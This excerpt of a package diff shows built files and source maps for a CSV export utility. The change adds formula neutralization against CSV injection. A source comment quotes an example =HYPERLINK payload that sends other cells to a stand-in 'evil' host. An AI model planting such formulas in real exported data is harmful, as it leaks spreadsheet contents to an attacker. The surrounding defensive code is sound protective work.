{@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA2CZ,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAYA,SAAS,EAAS,EAAwB,CAGtC,OAFI,GAAU,KAAoC,GAC9C,aAAiB,KAAa,EAAM,YAAY,EAC7C,OAAO,CAAK,CACvB,CAsBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,IAAS,EAElC,EAAQ,CAAC,EAAQ,IAAK,GAAW,EAAY,EAAO,OAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC,EAE7F,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,IACf,EAAG,CAAS,CAC9C,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAmBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IAqDN,EAAkB,eAQlB,EAAe,uDAoBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CAaA,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GAAW,EAAY,EAAS,EAAO,OAAQ,CAAkB,EAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,CAAS,CAClE,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
package/dist/utils/csv.js
CHANGED
|
@@ -1,25 +1,28 @@
|
|
|
1
1
|
import { shareOrDownloadBlob as e } from "../share/share-or-download.js";
|
|
2
2
|
//#region src/utils/csv.ts
|
|
3
|
-
var t = "";
|
|
4
|
-
function
|
|
3
|
+
var t = "", n = /^[=+\-@\t\r]/, r = /^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;
|
|
4
|
+
function i(e) {
|
|
5
|
+
return e === "-" || r.test(e) ? e : n.test(e) ? `'${e}` : e;
|
|
6
|
+
}
|
|
7
|
+
function a(e, t) {
|
|
5
8
|
return e.includes(t) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
|
|
6
9
|
}
|
|
7
|
-
function
|
|
8
|
-
return e == null ? "" : e instanceof Date ? e.toISOString() : String(e);
|
|
10
|
+
function o(e, t) {
|
|
11
|
+
return e == null ? "" : typeof e == "number" || typeof e == "bigint" || typeof e == "boolean" ? String(e) : e instanceof Date ? e.toISOString() : t ? i(String(e)) : String(e);
|
|
9
12
|
}
|
|
10
|
-
function
|
|
11
|
-
let { delimiter:
|
|
13
|
+
function s(e, n, r = {}) {
|
|
14
|
+
let { delimiter: i = ",", bom: s = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => a(o(e.header, c), i)).join(i)];
|
|
12
15
|
for (let t of e) {
|
|
13
|
-
let e =
|
|
14
|
-
|
|
16
|
+
let e = n.map((e) => a(o(e.csv ? e.csv(t) : t[e.key], c), i));
|
|
17
|
+
l.push(e.join(i));
|
|
15
18
|
}
|
|
16
|
-
return `${s ? t : ""}${
|
|
19
|
+
return `${s ? t : ""}${l.join("\r\n")}`;
|
|
17
20
|
}
|
|
18
|
-
async function
|
|
19
|
-
let
|
|
20
|
-
await e(
|
|
21
|
+
async function c(t, n, r = "export.csv", i = {}) {
|
|
22
|
+
let a = new Blob([s(t, n, i)], { type: "text/csv;charset=utf-8" });
|
|
23
|
+
await e(a, r);
|
|
21
24
|
}
|
|
22
25
|
//#endregion
|
|
23
|
-
export {
|
|
26
|
+
export { c as downloadCsv, s as toCsv };
|
|
24
27
|
|
|
25
28
|
//# sourceMappingURL=csv.js.map
|
package/dist/utils/csv.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM;AA2CZ,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAYA,SAAS,EAAS,GAAwB;CAGtC,OAFI,KAAU,OAAoC,KAC9C,aAAiB,OAAa,EAAM,YAAY,IAC7C,OAAO,CAAK;AACvB;AAsBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,OAAS,GAElC,IAAQ,CAAC,EAAQ,KAAK,MAAW,EAAY,EAAO,QAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC;CAE7F,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,IACf,GAAG,CAAS,CAC9C;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAmBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, 